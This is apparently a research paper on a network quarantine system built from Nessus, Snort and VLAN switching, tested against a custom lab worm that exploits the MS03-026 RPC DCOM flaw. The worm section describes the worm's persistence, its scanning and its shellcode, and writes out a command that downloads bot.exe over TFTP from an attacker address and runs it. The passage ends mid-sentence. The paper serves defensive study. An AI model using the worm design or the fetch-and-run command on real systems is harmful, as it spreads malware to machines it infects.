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1. Abstract 
1.1. This goal of this research was to create a network-based malware quarantine 
system and test the effectiveness of it on the speed of worm propagation across a 
virtual network. Worms that spread in epidemic ways cause a large amount of 
financial and digital damage to the average Internet user while posing threats to 
the infrastructure of the Internet. This impact on consumers and the Internet as a 
whole can be significantly reduced through the implementation of a quarantine 
system at the network level. The quarantine system tested combined a network 
based vulnerability scanner, a Network Intrusion Detection System (NIDS), and 
a custom written control system to detect malware behavior on a network, and 
segregate those potentially compromised hosts from other hosts, with the 
intention of slowing the propagation of a network worm. A virtual test 
environment was used to track the propagation of a custom written worm as it 
spread to virtualized test machines. Before each test, the network was cleared of 
malware and the speed of propagation was documented. This data was analyzed 
to determine the most effective configuration that will still maintain network 
usability. After testing four variants of the custom worm with four different 
variations on the quarantine system configuration the spread data and quarantine 
system logs were analyzed to determine that the quarantine was in fact very 
effective against the spread and was able to slow or stop it in almost all 
simulations.  
2. Introduction 
2.1. Computer virus and worm outbreaks can spread across the Internet at an 
epidemic rate. (Lelarge & Bolot, 2008) These outbreaks can cause severe damage 
to civilian networks and can pose great threats to Internet infrastructures and 
servers. The largest recent worm outbreak was the Conficker botnet. As of 
August 15, 2010, this botnet is estimated to command over 4.9 million unique IP 
addresses. (Conficker Working Group, 2010) According to the FBI, “Because of 
their widely distributed capabilities, botnets are a growing threat to national 
security, the national information infrastructure, and the economy.” (FBI 
National Press Office, 2007)  Due to their widespread propagation and the huge 
amount of traffic that they can generate; Internet worms pose a significant threat 
to the infrastructure of the Internet as a whole.  This deluge of traffic can cause 
Distributed Denial of Service (DDoS) conditions, which severely degrade 
network availability in affected areas. (Joukov & Chiueh) 
2.2. While the most effective way for a company to protect its computers is to ensure 
compliance to security best practices before allowing access to the network. An 
ISP cannot rely on each user’s compliance to security guidelines. Many expert 
users prefer to avoid such requirements, while non-expert users tend to be 
ignorant of security best practices in general. Instead, the ISP could deploy a 
more effective security system if it maintained independence from endpoint 
configuration. This research will determine the effectiveness of a strictly 
networked security solution, by measuring its effect on the speed of propagation 
for each viral outbreak. 
2.3. The impact of viruses and malware on consumers may be significantly reduced 
through the implementation of a quarantine system placed on the network. This 
research will test such a quarantine system by measuring its effectiveness at 
slowing the spread of a virus across a model consumer network. This system will 
conduct a scheduled scan of the test network searching for known vulnerabilities 
while monitoring traffic on the network for malware related scans and other 
suspicious traffic.  
2.4. While it is common for protection to be placed on managed network to protect 
corporate environments, unmanaged networks tend to go unprotected. This 
research is significant in that it will create an effective malware countermeasure 
that is usable on both managed and unmanaged networks. This is valuable 
research because of the threat of viruses to end users and the infrastructure and 
economy of the Internet.  
 
3. Related Work 
3.1. Over time, as the Internet has grown, the sophistication of network attacks has 
grown. Viruses and worms have been developed that have much more advanced 
methods of communication and propagation. Attack tools have become 
increasingly automated and are allowing a much faster exploitation of 
vulnerabilities than before. The amount of time available for a vulnerability to be 
patched is shrinking due to the faster transition from vulnerability discovery 
to effective malicious exploit. One of the fundamental protection devices used 
is the firewall. Due to development of new technologies, firewalls are becoming 
more-and-more easy to penetrate. All in all, the threats to computers are growing 
at a very fast rate and the general knowledge of users to protect themselves is 
being outpaced. The economic impact of some worms is in the range of billions 
of dollars. (Householder, Houle, & Dougherty, 2002) 
3.2. Heien, Massengale and Wu developed a test-bed network to study the way that 
the network is affected by malware infestation. The proposed network allows the 
team to “’poke and prod’ malicious software to gather data.” This data can later 
be used to predict worm behavior and develop better defenses. The network was 
developed to take advantage of the sandboxing method used by virtualization. 
Each host has two virtual machines on it that share its resources and network 
card. Various testing tools are used to monitor the network and gather data. 
(Heien, Massengale, & Wu, 2008) 
3.3. The propagation of worms on the Internet can be described epidemically. This 
means that while an unprotected computer can be infected and suffer the personal 
effects of the infection, it can now become a launch-bed to further spread the 
infection. Because of this epidemic propagation of malware, research into 
limiting this spread is beneficial to all users of the Internet. (Lelarge & Bolot, 
2008) 
3.4. There are two commonly used models for predicting epidemic population growth. 
The first model is the SI-model breaks the population into two groups: 
Susceptible and Infected. As an infection spreads through the groups it follows 
Figure 3.1 
the pattern described by the derivative in Figure 3.1 
 
This describes a curve that is approximately exponential at the start, and as the 
infection saturates the population the “Infected” curve slows and mirrors the start 
in reverse. The inverse of this curve is representative of the “Susceptible” 
population. The second common model used for epidemic spread is the SIR-
model. It breaks the population into three groups by adding a Removed group. 
This is allows for recovered individuals that are no longer susceptible, and 
deceased individuals. The formula for this model is significantly more 
complicated, as shown in Figure 3.2. 
 
As the infected population grows to its peak, 
(Figure 3.3) the removed population begins to 
expand, and the infected and susceptible population 
decreases proportionally.  
This paper describes these models and how they 
relate to the spread of computer worms over the 
Internet. They expand these formulas to include human protection measures and 
slower infection rates due to network traffic. The following graph shows their 
prediction of worm population growth, epidemically, to include these two 
additional factors. (Misslinger) 
 
3.5. The fast propagation of Internet 
worms poses a serious threat to 
the infrastructure of the 
Internet as a whole. As worms 
spread over networks, the 
traffic generated can have a 
distributed denial of service 
effect on the network. This 
effect can cause large portions 
of the Internet to go down. 
Because the spread is so fast 
there is no way that manual 
responses by humans can have 
any retarding effect on their 
spread. The research conducted 
by (Joukov & Chiueh) graphed the spread of nine well-known and widespread 
Internet worms. They also discuss some detection methods and mitigation 
techniques to slow the spread of worms. (Joukov & Chiueh) 
3.6. The RIT Information Security Office (ISO) manages a vulnerability scanner and 
quarantine system that periodically scans the RIT campus for known 
vulnerabilities and will quarantine the affected computer. Machines that are 
quarantined are placed on a restricted network and are allowed to access 
remediation services.  The Network Standard policy published by the ISO briefly 
outlines the capabilities of the network scanner. (Rochester Institute of 
Figure 3.2 
Figure 3.3 
Technology Information Security Office, 2009) 
4. Wild worm vs. Test worm 
4.1. In order to measure the effectiveness of the quarantining system, a worm was 
needed to infect the test network. Initially, the plan was to use a “wild” worm to 
test the network, meaning a worm found spreading on the Internet. However, 
after research of these “wild” worms, creation of a test worm was found 
favorable on several accounts. By writing a new worm, tracking, targeting, and 
predictability were more controlled; this also led to a solid set of characteristics 
that would be necessary when writing the custom worm.  
4.2. Rather than relying on an outside program such as a virus scanner or tracking 
script, a custom test worm could incorporate tracking into itself. To collect data 
some sort of sensor or trigger would need to be in place to log which computers 
were infected and when. For a wild worm, the sensor would have been a series of 
scripts to monitor the system looking for worm activity. Although scripts would 
be advantageous over using a standard virus scanner, incorporating tracking into 
the worm was more effective as it didn’t rely on an outside script at all. Also this 
made administration easier by eliminating the need to manage the set of scripts 
on each host.  
4.3. A problem with using wild worms is that they often spread using a random IP 
generator. Because the test network was only a very small portion of the IPv4 
address space, it would be very difficult to get the worms to spread to other test 
hosts. A custom worm could intentionally target the test network, rather than 
finding ways for the network to trick the worm into propagating. Some ideas that 
were considered for making wild worms propagate were to write a custom router 
that repackaged traffic directed outside the virtual network and instead forwarded 
it back in. When the worm targeted an outside host, the attack would be 
redirected at an internal host. Another possibility would be to reverse engineer 
and attempt to alter the functionality of the wild worm and force it to spread on 
the test network only. These possibilities were unnecessarily complicated and it 
became clear that while wild worms may be possible, they were not feasible. 
Creating a worm custom written for these simulations made the simulations 
much more efficient and effective as well as giving more opportunities for 
variations in testing.  
4.4. A custom worm is much more predictable and easy to control. Wild worms tend 
to make analysis and reverse engineering as difficult as possible. They often 
employ encryption techniques and debugging/virtualization detection to prevent 
researchers from learning how they work. This makes them less than ideal for 
this research. Also, because the goal of this system is not to learn how the worms 
work, but rather, to test the effect on propagation of the quarantine system, it is 
unnecessary to deal with the unpredictability of wild worms. A custom test 
worm’s propagation techniques could be intentionally manipulated to fully test 
the quarantine system and its behavior would be completely predictable.  
4.5. These reasons led to the list of requirements that helped develop the virus that 
would be used in this research. In order to spread, the virus had to be a worm, 
having self-propagation capabilities. To improve data collection and the ability to 
track the worm’s spread, it had to log each new exploitation and infection. To 
avoid unnecessary complication it had to be predictable and controllable. Finally, 
it had to target hosts only within the test network and be unable to spread outside. 
5. Test worm 
5.1. Test.X is the custom worm written for the purposes of testing the quarantine 
system described in this paper. It has a structure comprised of six parts: 
Reporting, infection, target selection, scanning, exploitation and code transfer. It 
propagates by gaining Local System level privileges by exploiting the 
Distributed Component Object Model (DCOM) vulnerability addressed in 
MS03-026. The DCOM interface is made network accessible through the Remote 
Procedure Call (RPC) protocol, allowing remote attackers to gain control without 
physical access. The code was written in Visual C++ using Visual Studio 6.0. 
The entire worm is only 534 lines of code and comprises one 197KB Windows 
Portable Executable (PE). Four variations of Test were created; two target 
selection variations and two multithreaded variations. These will be referred to as 
Test.NTL (Non-Threaded Linear), Test.NTR (Non-Threaded Random), Test.TL 
(Threaded Linear) and Test.TR (Threaded Random).  
5.2. Reporting messages are sent for two events during the lifecycle of Test. This is 
helpful when running propagation simulations by sending fine-grained 
propagation logs to the configured syslog server. Before Test.X is compiled, the 
syslog server’s IP address is defined explicitly throughout the code. The Report 
and ReportExploit functions send installation and exploitation messages 
respectively.  
5.3. When Test.X runs, whether initially upon infection or after a system reboot, it 
will check the Installed() function, which returns true or false depending on the 
presence of the C:\Windows\system32\worm.exe file. If the worm is not installed 
it copies itself to that location. Finally, Test.X also adds a registry key to HKEY 
Local Machine\Software\Microsoft\Windows\CurrentVersion\Run, causing the 
worm to rerun on system startup.  
5.4. After the worm has verified installation it moves on to target selection. This is 
the beginning of an infinite loop that is constantly selecting a new random target 
and attacking it. Target selection is handled by a simple function that parses the 
IP address of the local system into four parts. For the Random variants, Test.X 
then generates a random number from 1 to 254 and uses that number for the 
fourth octet of a new IP address; this is the target. For Linear variants the system 
keeps a global variable “lastScanned” and new targets are selected by 
incrementing that number. It will increment up to 254 and then loop. Before 
scanning that new target, it verifies that the new target is not the same address as 
the local system.  
5.5. Once a new target has been selected, the worm attempts to connect to that IP on 
the RPC DCOM port 135. If a connection cannot be made the worm begins the 
target selection process once again. This allows the worm to randomly scan for 
vulnerable systems on the network. The method for network scanning is single-
threaded. While this method is rather slow, it simplifies the propagation timeline 
while still maintaining a realistic epidemic spread.  
5.6. On vulnerable target systems, the RPC DCOM interface is exploited using a 
buffer overflow to execute remote code. A malformed packet is sent via port 135 
with an overrun in the server name field. For the Test.X exploit, the value passed 
as the server name contains a memory location to jump program execution to a 
NOP sled and then to shellcode that calls system() with a given command. The 
Metasploit Framework is a penetration-testing framework that is freely available 
on the Internet. It includes tools for network scanning, shellcode generation and 
exploitation. This framework was used to generate shellcode which was 
Figure 5.1 - Worm Program Flow 
embedded into Test.X’s exploit. This shellcode can execute any given command 
on the remote system. The command parameter must be generated on the fly to 
ensure that the shellcode calls back to the attacking system at its IP address, 
which is of course different for each attacker. The command that is run is cmd /c 
tftp –i <attacker_ip> get bot.exe && bot.exe (Shown in Figure 1.1). 
5.7. This command will use the built-in Windows XP Trivial File Transfer Protocol 
(TFTP) client to call back to the attacking system on port 69, attempt to retrieve a 
file, which it will save as bot.exe, and then it will run bot.exe.  
5.8. The exploit used in Test.X is based on the exploit published by Last Stage of 
Delirium (LSD) research group in July 2003. Further changes to the exploit have 
been published throughout the Internet as Windows has been updated since then. 
Different versions of Windows and different service packs use different memory 
addresses in the buffer overflow. For the purpose of this research Test.X targeted 
only Windows XP SP1. This simplified the development of Test.X and as the 
targeted operating system is irrelevant, it was one less factor to consider. The 
overrun of RPC DCOM initiates a system crash with a 60 second timer. This 
gives the worm enough time to transfer and install itself before the system 
reboots.  
5.9. The RPC DCOM vulnerability was chosen for three reasons. First, the RPC 
DCOM vulnerability is easily exploitable across the network without any user 
interaction. Second, the RPC DCOM exploit code was readily available and easy 
to manipulate making it easy to build self-propagation into the worm. Finally, the 
vulnerability is old enough that there is little fear of the worm doing any damage 
in the unlikely event that it could be somehow released into the outside network.  
5.10. The final stage of Test.X’s lifecycle is the transfer of the executable to the 
newly exploited system. As soon as the exploit shellcode is transferred to the 
target machine, the attacking machine starts a very simple TFTP service joined to 
UDP port 69. The server listens for a single packet from the target system. Once 
received, it begins to dump the binary over the network. The shellcode command 
run on the remote system will receive the binary data and save it to the file 
bot.exe. Bot.exe will be immediately run after the transfer is complete. When run 
on the remote system Test’s lifecycle begins on the remote system. It will now 
install and reboot then run on system startup.  
5.11. There was of course concern with writing a worm for this experiment that 
it would leak onto the Internet and cause unforeseeable damage. To mitigate this 
risk, the exploit that was chosen was intentionally greatly outdated and mostly 
patched across the Internet. Careful control of the worm executable has been 
exercised to ensure that it does not leak or get executed outside of the test 
network. Finally, the target spread mechanism of the worm was written in such a 
way that it would only target the test network and have no way to spread outside. 
It will only target a 192.168.1.0/24 network and nothing else.  
Figure 5.2 - Shellcode Command (Hex) 
6. Quarantine System 
6.1. Quarantine System Introduction 
6.1.1. The quarantine system used for this research was custom written. It uses 
four Python modules, two network sensors, and a Cisco switch to react to 
worm activity and coordinate quarantining infected and vulnerable systems 
on the network. The system is based on two sensors: the Nessus 
vulnerability scanner and the Snort intrusion detection system. A Python 
module was written for each of the two sensors to interface with the sensor 
over the network. A third Python module was written as network control and 
it interfaces with the Cisco switch. The fourth module ties the other three 
modules together by receiving alerts from the two sensors, determining what 
action to take and interfacing with the network control module.  
6.1.2. The two sensors in the system were chosen to protect network hosts during 
two stages of the infection lifecycle. As a worm spreads over a network it 
must first search the network for potential targets, identify if they are 
Figure 6.1 - Quarantine System Structure 
vulnerable to the exploit code it carries, and then spread to the target host. 
After a host is infected it begins scanning the network again for more 
vulnerable targets.  
6.1.3. The Nessus vulnerability scanner detects vulnerabilities in network hosts 
in a similar way that the worm detects vulnerable targets. When a vulnerable 
network host is identified it can be moved to an isolated network segment to 
prevent interaction with other potentially infected hosts. These quarantined 
hosts are not blocked from accessing the Internet, only from communicating 
directly with other hosts on the local network.  
6.1.4. The Snort intrusion detection system is placed on the network in such a 
way that it has visibility of all network traffic as it traverses the switch. With 
this particular system this was accomplished by configuring a Switch Port 
Analyzer (SPAN) port. The switch forwards all traffic out the SPAN port to 
the Snort sensor where the sensor can analyze the data. When Snort receives 
traffic it compares each packet to a database of signatures to detect malicious 
network traffic. When a worm transmits itself to a newly infected machine, 
the Snort sensor detects the exploit code and the transmission of the worm 
code and sends an alert over the network to the quarantine command center.  
6.1.5. When the command center receives a syslog message from the Snort 
sensor it first blocks the sending machine and then examines the response 
traffic from the target to determine if it was in fact infected. It the target was 
infected, the command center then blocks the newly infected target machine. 
This behavior by the Snort system and the network control system is a form 
of intrusion protection system.  
6.2. Nessus Scanner 
6.2.1. The vulnerability-scanning sensor uses Tenable Network Security’s 
Nessus Vulnerability Scanner version 4.4.0. This software package is 
installed on a server and controlled via a web browser. Nessus downloads 
plugins from the Internet and uses those plugins to detect vulnerabilities 
when scanning targets. Policies are configured on the server and specified 
before a new scan is run. 
6.2.2. For this research it was not necessary to detect all possible vulnerabilities 
on the network. The scan policy for the network was only configured to 
detect the vulnerability that the test worm targeted. This allowed for faster 
scans of the network. In a real world scenario this scanner would need to be 
capable of scanning all known vulnerabilities at a high rate of speed.  
6.2.3. Tenable is consistently creating new plugins as new vulnerabilities are 
reported. There are two licensing options available for Nessus: the 
HomeFeed and the ProfessionalFeed. HomeFeed is their free service that 
provides up-to-date plugins and allows the server to scan up to 15 hosts. 
ProfessionalFeed is their paid service that provides customer service and no 
limit on the number of hosts that can be scanned.  
6.2.4. The maximum host limitation became a problem with this quarantine 
system, as the simulations would need to scan at least 24 hosts. After failing 
to obtain educational licensing through Rochester Institute of Technology, 
Tenable’s cofounder Renaud Deraison was contacted with a copy of this 
proposal, asking for permission to use a ProfessionalFeed license for this 
research. He kindly provided 3 months of trial licensing, allowing for further 
development.  
6.2.5. The server component of Nessus does not have a command line or 
graphical user interface. When Nessus is installed, there is a server controller 
application placed on the desktop to handle starting and stopping the Nessus 
service. All other interactions with Nessus, including creating policies, 
starting scans and viewing reports are all handled through the web interface.  
6.2.6. The Nessus web interface is completely flash based and communicates 
with the server via eXtensible Markup Language – Remote Procedure Call 
(XML-RPC) commands. These commands provide an inter-process 
communication channel, which allows the server to be controlled from other 
remote machines, not only the server.  
6.2.7. This XML-RPC interface made it possible for the Nessus control module 
to communicate directly with the server, issuing scan creation, start, and stop 
commands directly to the server. The XML-RPC command set is well 
documented by Tenable and provided a very robust control mechanism. 
Without this communication channel it would have been extremely difficult 
to automate the scanning and reporting mechanisms that were implemented 
by the Nessus scanning module of this quarantine system.  
6.2.8. The “nessusscan” Python module consists of a handful of simple XML-
RPC interfacing functions, some scanner control functions, a report parsing 
function and a threaded class. The XML-RPC functions are responsible for 
opening the network socket, logging into the Nessus server and sending and 
receiving messages from the network socket. The login process produced a 
session token that must be transmitted with every request as authentication.  
6.2.9. This system was only configured to detect a single vulnerability so the 
scan policy was manually created on the server via the web interface and 
given the policy identification of “ID 1”. When a scan begins, the scanner 
connects a network socket, logs in, and sends the “/scan/new” procedure call. 
The arguments for “/scan/new” are scan name, policy ID and target. These 
variables are statically set within the module.  
6.2.10. The XML-RPC documentation does not provide any procedure call to 
check on the progress of a scan, although it may be an undocumented 
method, as it is possible from within the web interface. Once the new scan 
has been started by the scan() function, the module needs to wait for it to 
finish before it can download the scan report. This functionality was made 
possible using the “/scan/list” procedure call. This returns a list of all active 
Nessus scans. The scanwait() function was written to constantly poll the 
server for the list of active scans, and not return until there are no active 
scans left. This ensures that the scan report is available when the function 
completed.  
6.2.11. After a scan has finished the report is downloaded and parsed. Nessus 
reports are in XML format and include a huge amount of detailed 
information for each host. For each vulnerability, the report lists severity, 
details and references of each vulnerability. The getreport(), logreport() and 
parsereport() functions are responsible for downloading the report, storing it 
locally on the command machine, parsing it for vulnerabilities and sorting 
them by host and severity. The parsereport() function returns three data 
structures with the report information; one for each severity level. The RPC-
DCOM vulnerability being tested is a severity 3 vulnerability.  
6.2.12. All of this scan process is handled by a single function called startscan(). 
This function starts scans, waits for them to finish, gets the report, parses the 
report, deletes the report from the server to avoid clutter, and returns the 
results of the parsed report. Startscan() is called by the run function of the 
threaded class mentioned above. When the quarantine system runs it 
instantiates a NessusScanner thread and starts it. When started, a loop begins 
that runs scans on a timed interval.  
6.2.13. A threaded class called “Timer” governs this timed interval. When Timer 
is created it takes an integer argument that determines how many minutes it 
will wait. At the beginning of the NessusScanner thread it checks to see if a 
timer is running. If there is not one running, it starts one. Then it goes on to 
kick off a Nessus scan. While the scan is running, the thread is constantly 
checking to see if the timer has completed. If the timer is set to a shorter 
time than the Nessus scan takes, a new scan will begin before the first is 
complete, which of course causes problems with the scanwait() function. 
Optimizing the scan policy and ensuring that the timer is set to high enough 
intervals avoided this problem.  
6.2.14. When the command center creates a NessusScanner thread it assigns it a 
shared queue object. This object is used by the command center and the 
NessusScanner to transfer information about vulnerable hosts; specifically it 
holds IP addresses of vulnerable hosts. When a scan completes, scanstart() 
returns the lists of vulnerabilities and hosts. The list of severity 3 data is 
looped through and all host IP addresses are placed onto the shared queue 
object. This queue object is also passed to the netcontrol thread, which 
monitors it for newly queued hosts. When a host is queued by Nessus, it is 
taken off the queue by the network control module and quarantined.  
6.3. Snort Monitor 
6.3.1. The intrusion detection system uses Snort, an open source system 
developed by Sourcefire. Snort uses detection signatures, which are 
distributed by Sourcefire. Because the Snort rule format is open source, 
custom rules can be written as needed. Snort rules are available via a 
subscription-based service similar to Nessus. The two subscription levels for 
Snort are free and paid. The paid subscription gets snort updates daily and 
real-time as they are developed. The free subscription provides these rules 
one month later than the paid subscription. The RPC DCOM exploit in 
Test.X was released in 2003 and Snort has long since released detection 
signatures for it to the free subscription. This allowed Snort to be used for 
free.  
6.3.2. Typically Intrusion Detection Systems (IDS) are placed on a segment of 
the network that has visibility of the entire network so that no malicious 
traffic is able to “get by” the sniffer. On a switched environment, the switch 
is responsible for reading layer 2 addresses on data packets and forwarding 
them out the switch-port that the destination machine is connected to. This 
provides a level of privacy to hosts connected to the network from other 
hosts. This presents a challenge for intrusion detection systems that need to 
be able to see all traffic. Cisco solves this problem by implementing a 
Switch Port Analyzer (SPAN) setting that can be configured. A SPAN port 
will receive all network traffic that traverses the switch. An IDS can be 
placed on a SPAN port and see all network traffic, solving the traditional 
switching problem. This is what was set up for this research so that Snort 
could see malware propagation traffic between infected machines and targets.  
6.3.3. One advantage that the IDS sensor has over the vulnerability scanner is 
that it runs non-stop on the network. This also made the Snort control 
module much easier to write because there was no start or stop code, the 
only thing the module was responsible for doing was receiving alerts from 
Snort, parsing them, and adding them to a queue.  
6.3.4. Snort was installed and configured on a Debian Linux server. Snort alerts 
were sent to the syslog service in Linux, which was configured to send them 
across the network to the IP address of the server with the command center 
program running. Syslog is a logging protocol standard commonly used in 
Linux. It is used for internal log messages and can be forwarded across the 
network to a central logging server. The syslog service on the Snort server 
was configured to transmit all messages to the command center server where 
the Snort monitor module runs.  
6.3.5. The Snort monitor module binds to UDP port 514 to receive syslog 
message data. When a new message is available on the socket, the module 
copies it into a new string object and parses out the Snort ID of the signature 
detected, the source of the traffic and the destination. When an infected 
machine (host-A) attempts to spread to a machine that is not vulnerable to 
the RPC-DCOM exploit (host-B), it still sends the exploit code, and triggers 
a Snort alert, but does not successfully spread to the target machine.  
6.3.6. This poses a problem for the quarantine system. If both host-A and host-B 
are quarantined, false positives will be common. On the other hand, if the 
quarantine system only quarantines host-A, it will be consistently one step 
behind the spread of the worm when it is successful. To solve this problem, 
the module receives two messages at a time. When a worm exploit is 
successful, host-B responds with a TFTP (trivial file transfer protocol) 
connection back to the host-A. This connection is detected by the Snort 
monitor and triggers an alert. These two alerts will be sequential and the 
Snort monitor can determine whether the target has been infected or not. If 
the second alert is not detected, only host-A is blocked by the quarantine 
system. On the other hand if the second alert is detected, this signifies a 
successful spread and both host-A and host-B will be blocked.  
6.3.7. The RPC-DCOM exploit Snort ID is 9601 and the TFTP snort ID is 1444. 
When a new alert is received and parsed, its Snort ID is checked. If it is 9601, 
the IP address of the sender is placed into the shared queue object. Next, the 
second alert’s ID is checked. If it is 1444 then the destination’s IP address is 
also added to the block queue.  
6.3.8. The block queue in the Snort monitor module is similar to the queue used 
by the Nessus scan module. It is passed from the command center into the 
Snort monitor thread when it is instantiated and is then shared with the net 
control module. A separate queue is used for Snort than is used for Nessus. 
The quarantine system treats the results of these modules differently. If a 
Snort alert triggers a block event then the hosts are blocked from any access 
to the Internet or any non-infected hosts. Quarantined computers are 
segregated from each other but are allowed to access the Internet. This will 
be explained in more detail in the following section. 
6.4. Network Control 
6.4.1. The network control module is responsible for communicating from the 
command center server to the Cisco switch. The Python library “telnetlib” 
was used for communication to the switch and the telnet management 
interface of the switch was turned on. This is, of course, not a secure way of 
managing the switch, but for the purposes of this research there was no 
danger in using an unencrypted communication method and it saved time in 
development, as there is not currently a Secure Shell (SSH) library for 
Python 3.1.  
6.4.2. In order to segregate computers during a worm infection, a network access 
control technique was needed. Two options were considered and the use of 
virtual local area networks (VLANs) was chosen. Another option would be 
to use the 802.1x authentication protocol. This would allow the network to 
block or allow a host’s network communication on a switch port based on 
authentication of the host using certificates installed on the host. Using 
VLANs as a quarantining method was ideal because of widespread use 
across the Internet and in enterprise networks; nearly all professional 
switches and routers support VLAN assignment. A disadvantage of 802.1x is 
that it would require registration and pre-configuration of the end hosts 
VLAN placement would not require any contact with new hosts.  
6.4.3. A VLAN segregates computers by logically separating ports on a switch. 
A port is joined to a specific VLAN and all communication through that port 
is tagged by that VLAN. The switch will not forward any VLAN traffic to a 
port that is not a member of that VLAN. By default a switch places all ports 
into VLAN 1 and they can all communicate with each other. Because the 
switch will not forward VLAN traffic to other VLANs, hosts cannot 
communicate with hosts on other VLANs, even if they are on the same 
switch. The only way for traffic to move from one VLAN to another is by 
traveling up to and through a router. This requires that the VLANs be 
assigned IP addresses on separate networks, and for the router to allow 
communications between those two networks. A router can be configured to 
block traffic from one network to another, or a VLAN can be created that 
has no connection to the outside through a router.  
6.4.4. The switch used for this project was configured with a blocked-VLAN 
(VLAN 100) and 24 quarantine-VLANs, one quarantine-VLAN per switch 
port. In a production environment, each quarantine-VLAN could be 
connected to a router and given access to the Internet, but the router would 
block inter-VLAN communication. The blocked VLAN was configured with 
no connection to the outside. Only infected hosts were placed in the blocked 
VLAN, so it was not important that they be protected from each other.  
6.4.5. A key requirement for this quarantine system is that each host on the 
network must have a dedicated switch port. This is necessary so that the 
network control module can tell the switch to move a port to a quarantined 
VLAN and only a single computer would be affected by the network change. 
This greatly affected the testing infrastructure by limiting the use of 
virtualization. A single virtualization server with many virtual machines 
would only be plugged into a single switch port. A virtual machine can be 
mapped directly to a physical network adapter, but adding enough physical 
network adapters to a single server was prohibitively expensive. More 
details of the physical layout of the test network will be described in 
following sections.  
6.4.6. Once the network was built with a single host on each port, a Cisco switch, 
and the command center server, it was possible for the command center to 
telnet into the switch and move ports between VLANs as necessary. The 
“netcontrol” Python module automates these actions and a threaded class 
was created to interface the telnet switch controls with the command center. 
The running thread monitors the two Queue objects that are shared with the 
Nessus and Snort modules. When an IP address is added to one of the 
queues the netcontrol module retrieves it and begins the process of 
quarantining or blocking that host.  
6.4.7. In order to communicate with the switch, netcontrol had to pass Cisco IOS 
commands to it. This of course requires a login method to begin 
communication with the switch and an “enable” method to gain 
administrative permissions to configure the switch. These methods passed 
login and enable commands to the switch and responded to login prompts 
with the appropriate usernames and passwords.  
6.4.8. After login and enable commands are successful, the threaded Monitor 
class that controls netcontrol can pass it quarantine or unquarantine 
commands. The quarantine method takes two arguments: IP address and 
source. IP address is the network address of the machine to quarantine or 
block. Source is an integer, either 1 or 0. If source is 1, this indicates that the 
IP address is already infected. If source is 0 then the IP is vulnerable. This 
information is determined based on which queue the object has been 
retrieved from.  
6.4.9. Once a quarantine method has been called it must first resolve the MAC 
address from the given IP address. Because switches work at the data link 
layer, they do not have any visibility of layer 3 addresses (IP). Switches do 
however store the connection port location of each layer 2 address.  
6.4.10. The address resolution protocol (ARP) is used to resolve IP to MAC 
addresses. This protocol works by sending a broadcast message to the 
network asking each computer if it has been assigned the IP address in 
question. Only the specified computer will respond to an ARP request, and it 
responds with its MAC address. This process happens whenever a layer-3 
communication happens on a network. If the target host is on the same 
broadcast domain, it will respond to the ARP request. All hosts in this 
research are on the same switch, and if they are in the same VLAN, they are 
within the same broadcast domain, so should respond when requested.  
6.4.11. Once a MAC address has been determined, the switch can internally 
lookup the port that mac address is connected to. It does this by querying its 
source address table (SAT). A switch maintains a SAT by watching traffic 
coming into it on its own ports. When a new source address is seen, the 
switch determines that it can communicate with that MAC address on that 
port, and adds that information to its SAT. When the switch needs to send 
traffic to a requested MAC address, it first queries its SAT for the MAC 
address. If found, it will only send the traffic out that port. If it’s not found 
then the traffic will be sent to all ports. The switches SAT can be printed 
through a telnet session, and is used by netcontrol to find the port that must 
be quarantined or blocked.  
6.4.12. After finding the appropriate switch port, netcontrol simply goes into the 
configuration mode of the switch and changes the VLAN of that port. Once 
this is done that port can no longer communicate with any of the other ports 
or the Internet, depending on which VLAN it has been moved to. If the 
source argument is 1 (infected) the port will be moved to VLAN 100, if it is 
0 (vulnerable) it will be moved to the VLAN that directly corresponds with 
the port number, shifted up one to allow for VLAN 1 as the default 
communication port, i.e. Port 24 will be placed in VLAN 25.  
6.4.13. Two other simple methods were built into netcontrol for easier 
management of the testing environment. A “restoreAll” method was created 
and a “listinfected”. RestoreAll was used to move all ports back to VLAN 1 
at the end of a simulation. Listinfected was used as a logging feature to show 
which ports were in which VLANs at the end of a simulation. Both of these 
helped to automate testing and debug the emulation system.  
6.5. Command Center 
6.5.1. Because this system was created to be modular, the command center 
portion was kept as simple as possible. Essentially, all that this module needs 
to do is instantiate the three threads and create the shared queues. A timing 
function was built into the Command Center thread to allow for timed 
simulations but of course in a production environment it would run 
continuously.  
6.5.2. The Command Center is itself a running thread that spawns the other three. 
When the main function of the module is called it creates and starts the 
Command thread. A new Command thread takes two arguments: snort and 
ness. These are Boolean variables that are assigned to determine which 
protections will be activated for the test in question. The only processing that 
occurs during initialization of this thread is the assignment of these Boolean 
values to internal variables for the thread to use later.  
6.5.3. After the thread has been started, it checks the internal Nessus and Snort 
settings and spawns those threads accordingly. When a new thread is created, 
that thread handles creation of its own Queue object. This queue is then 
referenced by Command and passed into the new netcontrol thread, allowing 
asynchronous communication between threads.  
6.5.4. After threads have been started, Command sleeps while the simulation 
runs. Most tests were run for 30 minutes. After that time expires, Command 
stops each thread and closes itself.  
6.5.5. The majority of the code for this Command Center is specific to this 
testing environment. In a production environment this would likely be 
controlled manually by a graphical user interface of some sort, with many 
more “knobs” for controlling the frequency of Nessus scans, and the 
sensitivity of Snort detection. Hosts would have to be manually removed 
from quarantine or unblocked as IT personnel clear them. These capabilities 
would be built into a functioning Command Center.  
7. Testing Methodology 
7.1. Testing Introduction 
7.1.1. After the worm and quarantine system were created, the final phase of 
research was to run simulations to test the system. A network was needed 
and a set of simulations needed to be developed to thoroughly test its 
effectiveness. As described in the worm documentation, the test worm was 
created with four variants, each having a slightly different approach to 
propagation. The quarantine system also has four different variations of its 
configuration. With four quarantine systems and four worms to test per 
system, there were sixteen tests to be run.  
7.2. Test Network 
7.2.1. The test network was primarily composed of thirteen servers graciously 
lent by BAE Systems. It was necessary for each network host to have its 
own network adapter that could be directly connected to its own switch port. 
This prevented the use of a single server and many virtual machines. Instead, 
each of the thirteen servers had two network adapters allowing two virtual 
machines per server and reducing the amount of servers from twenty-six 
down to thirteen. A personal development machine was used as a command 
and control host. 
7.2.2. The number of ports on the switch dictated the number of victim hosts. 
The Cisco switch had twenty-four 100 MBps ports for use by the victim 
hosts. It also had two 1 GBps ports, one was used as a SPAN port for the 
Snort sensor, and the other was used to connect a small five port unmanaged 
switch. The command and control server, two syslog servers and the Nessus 
scanner were all connected to that second switch. The Nessus server and the 
Snort sensor were on the thirteenth machine. The command and control 
server and syslog server were both virtualized on the fourteenth machine. 
7.2.3. Once hardware was acquired, Windows Server 2003 and VMware 
Workstation were installed on each server and two virtual machines were 
created per server.  The virtual machines (VMs) were all configured with 
